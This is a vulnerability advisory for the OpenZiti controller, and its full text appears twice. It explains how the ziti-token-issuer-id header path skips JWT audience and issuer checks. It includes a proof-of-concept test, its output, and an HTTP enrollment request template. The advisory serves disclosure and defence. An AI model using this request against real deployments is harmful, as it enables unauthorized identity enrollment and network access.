Summary
The controller's token-based enrollment endpoint (POST /edge/client/v1/enroll?method=token, handled by EnrollModuleToken) verifies the presented JWT through two different code paths. When the request includes a ziti-token-issuer-id header, verification is delegated to TokenIssuerExtJwt.VerifyToken, which validates only the JWT signature — it does not check the aud (audience) or iss (issuer) claims. The sibling "by inspection" path (used when no issuer-id header is present) does enforce both audience and issuer via TokenIssuerCache.pubKeyLookup.
Because audience is the control that binds a token to this relying party, an attacker who possesses any unexpired JWT signed by a configured external JWT signer's key — including a token the same IdP minted for a completely different application/audience — can present it with the issuer-id header and enroll a brand-new identity onto the zero-trust overlay network.
Details
EnrollModuleToken.verifyToken (controller/model/enrollment_mod_token.go) chooses the verification path purely from an attacker-controlled request header:
func (module *EnrollModuleToken) verifyToken(headers Headers) (...) {
candidateTokens := headers.GetStrings(AuthorizationHeader) // "authorization"
targetTokenIssuerIds := headers.GetStrings(TargetTokenIssuerId) // "ziti-token-issuer-id"
if len(targetTokenIssuerIds) > 0 {
return module.verifyTokenByTokenIssuerId(targetTokenIssuerIds[0], candidateTokens) // (A)
}
return module.verifyTokenIssuerByInspection(candidateTokens) // (B)
}
Path (A) verifyTokenByTokenIssuerId calls tokenIssuer.VerifyToken(candidateToken):
func (r *TokenIssuerExtJwt) VerifyToken(token string) *common.TokenVerificationResult {
r.Resolve(false)
claims := jwt.MapClaims{}
resultToken, err := jwt.ParseWithClaims(token, claims, r.keyFunc) // keyFunc only maps kid->pubkey
...
// no audience check, no issuer-claim check
}
r.keyFunc resolves the public key solely from the kid header and returns the signature-validated result. There is no comparison of the token's aud against r.ExpectedAudience() (the configured signer audience), nor of iss against r.ExpectedIssuer().
Path (B) VerifyTokenByInspection -> pubKeyLookup enforces both:
tokenIssuer := a.GetByIssuerString(issuer) // issuer claim must match a configured signer
...
for _, audience := range audiences {
if audience == tokenIssuer.ExpectedAudience() { audienceFound = true; break }
}
if !audienceFound { return nil, apierror.NewInvalidAuth() } // audience enforced
On success, EnrollModuleToken.Process creates a new Identity (ExternalId = the token's id claim, RoleAttributes = the token's attribute claim, name = the token's name claim) and, for cert enrollment, signs the supplied CSR and issues a network client certificate. The new identity is non-admin, but it is a fully enrolled member of the overlay whose policy membership is driven by the attacker-influenced role-attribute claim.
Preconditions: the deployment must have configured an external JWT signer with enrollToTokenEnabled and/or enrollToCertEnabled (the documented JWT-enrollment feature). The realistic exploit scenario is a signer pointed at a shared corporate IdP (Okta/Auth0/Azure AD/etc.) whose audience is set to the controller — the audience field exists precisely to reject tokens the IdP issued to other applications. This bug nullifies that protection on the header path. It additionally skips the issuer-claim check, so a valid-signature token with a mismatched iss is also accepted.
PoC
Real-code differential (executed against the actual controller model package). A TokenIssuerExtJwt is built from a real db.ExternalJwtSigner (CertPem + Audience: "ziti.controller"), and a JWT is minted with the signer's key but aud: "some-other-relying-party":
signer := &db.ExternalJwtSigner{
Name: "corp-idp", Kid: &kid, CertPem: &certPem, Enabled: true,
Issuer: &iss, Audience: strPtr("ziti.controller"), EnrollToTokenEnabled: true,
}
signer.Id = "issuer-1"
issuerRec := &TokenIssuerExtJwt{externalJwtSigner: signer, kidToPubKey: map[string]common.IssuerPublicKey{}}
issuerRec.Resolve(false)
// token signed by the trusted signer key, but for a DIFFERENT audience:
wrongAudToken := mkToken(key, kid, iss, "some-other-relying-party", "attacker-ext-id")
// HEADER PATH (ziti-token-issuer-id -> VerifyToken):
res := issuerRec.VerifyToken(wrongAudToken)
// res.IsValid() == true <-- ACCEPTED
// INSPECTION PATH (pubKeyLookup) on the SAME token:
_, err := jwt.ParseWithClaims(wrongAudToken, jwt.MapClaims{}, cache.pubKeyLookup)
// err != nil ("token audience does not match expected audience") <-- REJECTED
Output:
HEADER PATH (VerifyToken): WRONG-AUDIENCE token ACCEPTED. sub="attacker-ext-id" aud="some-other-relying-party"
INSPECTION PATH (pubKeyLookup): wrong-aud token correctly REJECTED: token audience does not match expected audience, expected ziti.controller, got [some-other-relying-party]
DIFFERENTIAL CONFIRMED: audience enforced on inspection path, skipped on the ziti-token-issuer-id header path.
Over HTTP this is:
POST /edge/client/v1/enroll?method=token
authorization: Bearer <JWT signed by the configured signer, any aud/iss>
ziti-token-issuer-id:
content-type: application/json
{"clientCsr":""}
which returns a network-issued client certificate for a newly created identity.
Impact
An attacker who can obtain any JWT signed by a configured external JWT signer — notably a token a shared corporate IdP issued for a different audience/relying party — can enroll a new, network-trusted identity into the OpenZiti overlay by supplying the ziti-token-issuer-id header, bypassing the audience (and issuer) binding that the inspection path enforces. This is an enrollment/authentication-boundary bypass yielding unauthorized presence on the zero-trust network with role attributes influenced by the token, undermining the integrity and confidentiality guarantees of the control plane.
Version: 2.0.0
Summary
The controller's token-based enrollment endpoint (POST /edge/client/v1/enroll?method=token, handled by EnrollModuleToken) verifies the presented JWT through two different code paths. When the request includes a ziti-token-issuer-id header, verification is delegated to TokenIssuerExtJwt.VerifyToken, which validates only the JWT signature — it does not check the aud (audience) or iss (issuer) claims. The sibling "by inspection" path (used when no issuer-id header is present) does enforce both audience and issuer via TokenIssuerCache.pubKeyLookup.
Because audience is the control that binds a token to this relying party, an attacker who possesses any unexpired JWT signed by a configured external JWT signer's key — including a token the same IdP minted for a completely different application/audience — can present it with the issuer-id header and enroll a brand-new identity onto the zero-trust overlay network.
Details
EnrollModuleToken.verifyToken (controller/model/enrollment_mod_token.go) chooses the verification path purely from an attacker-controlled request header:
func (module *EnrollModuleToken) verifyToken(headers Headers) (...) {
candidateTokens := headers.GetStrings(AuthorizationHeader) // "authorization"
targetTokenIssuerIds := headers.GetStrings(TargetTokenIssuerId) // "ziti-token-issuer-id"
if len(targetTokenIssuerIds) > 0 {
return module.verifyTokenByTokenIssuerId(targetTokenIssuerIds[0], candidateTokens) // (A)
}
return module.verifyTokenIssuerByInspection(candidateTokens) // (B)
}
Path (A) verifyTokenByTokenIssuerId calls tokenIssuer.VerifyToken(candidateToken):
func (r *TokenIssuerExtJwt) VerifyToken(token string) *common.TokenVerificationResult {
r.Resolve(false)
claims := jwt.MapClaims{}
resultToken, err := jwt.ParseWithClaims(token, claims, r.keyFunc) // keyFunc only maps kid->pubkey
...
// no audience check, no issuer-claim check
}
r.keyFunc resolves the public key solely from the kid header and returns the signature-validated result. There is no comparison of the token's aud against r.ExpectedAudience() (the configured signer audience), nor of iss against r.ExpectedIssuer().
Path (B) VerifyTokenByInspection -> pubKeyLookup enforces both:
tokenIssuer := a.GetByIssuerString(issuer) // issuer claim must match a configured signer
...
for _, audience := range audiences {
if audience == tokenIssuer.ExpectedAudience() { audienceFound = true; break }
}
if !audienceFound { return nil, apierror.NewInvalidAuth() } // audience enforced
On success, EnrollModuleToken.Process creates a new Identity (ExternalId = the token's id claim, RoleAttributes = the token's attribute claim, name = the token's name claim) and, for cert enrollment, signs the supplied CSR and issues a network client certificate. The new identity is non-admin, but it is a fully enrolled member of the overlay whose policy membership is driven by the attacker-influenced role-attribute claim.
Preconditions: the deployment must have configured an external JWT signer with enrollToTokenEnabled and/or enrollToCertEnabled (the documented JWT-enrollment feature). The realistic exploit scenario is a signer pointed at a shared corporate IdP (Okta/Auth0/Azure AD/etc.) whose audience is set to the controller — the audience field exists precisely to reject tokens the IdP issued to other applications. This bug nullifies that protection on the header path. It additionally skips the issuer-claim check, so a valid-signature token with a mismatched iss is also accepted.
PoC
Real-code differential (executed against the actual controller model package). A TokenIssuerExtJwt is built from a real db.ExternalJwtSigner (CertPem + Audience: "ziti.controller"), and a JWT is minted with the signer's key but aud: "some-other-relying-party":
signer := &db.ExternalJwtSigner{
Name: "corp-idp", Kid: &kid, CertPem: &certPem, Enabled: true,
Issuer: &iss, Audience: strPtr("ziti.controller"), EnrollToTokenEnabled: true,
}
signer.Id = "issuer-1"
issuerRec := &TokenIssuerExtJwt{externalJwtSigner: signer, kidToPubKey: map[string]common.IssuerPublicKey{}}
issuerRec.Resolve(false)
// token signed by the trusted signer key, but for a DIFFERENT audience:
wrongAudToken := mkToken(key, kid, iss, "some-other-relying-party", "attacker-ext-id")
// HEADER PATH (ziti-token-issuer-id -> VerifyToken):
res := issuerRec.VerifyToken(wrongAudToken)
// res.IsValid() == true <-- ACCEPTED
// INSPECTION PATH (pubKeyLookup) on the SAME token:
_, err := jwt.ParseWithClaims(wrongAudToken, jwt.MapClaims{}, cache.pubKeyLookup)
// err != nil ("token audience does not match expected audience") <-- REJECTED
Output:
HEADER PATH (VerifyToken): WRONG-AUDIENCE token ACCEPTED. sub="attacker-ext-id" aud="some-other-relying-party"
INSPECTION PATH (pubKeyLookup): wrong-aud token correctly REJECTED: token audience does not match expected audience, expected ziti.controller, got [some-other-relying-party]
DIFFERENTIAL CONFIRMED: audience enforced on inspection path, skipped on the ziti-token-issuer-id header path.
Over HTTP this is:
POST /edge/client/v1/enroll?method=token
authorization: Bearer <JWT signed by the configured signer, any aud/iss>
ziti-token-issuer-id:
content-type: application/json
{"clientCsr":""}
which returns a network-issued client certificate for a newly created identity.
Impact
An attacker who can obtain any JWT signed by a configured external JWT signer — notably a token a shared corporate IdP issued for a different audience/relying party — can enroll a new, network-trusted identity into the OpenZiti overlay by supplying the ziti-token-issuer-id header, bypassing the audience (and issuer) binding that the inspection path enforces. This is an enrollment/authentication-boundary bypass yielding unauthorized presence on the zero-trust network with role attributes influenced by the token, undermining the integrity and confidentiality guarantees of the control plane.
Version: 2.0.0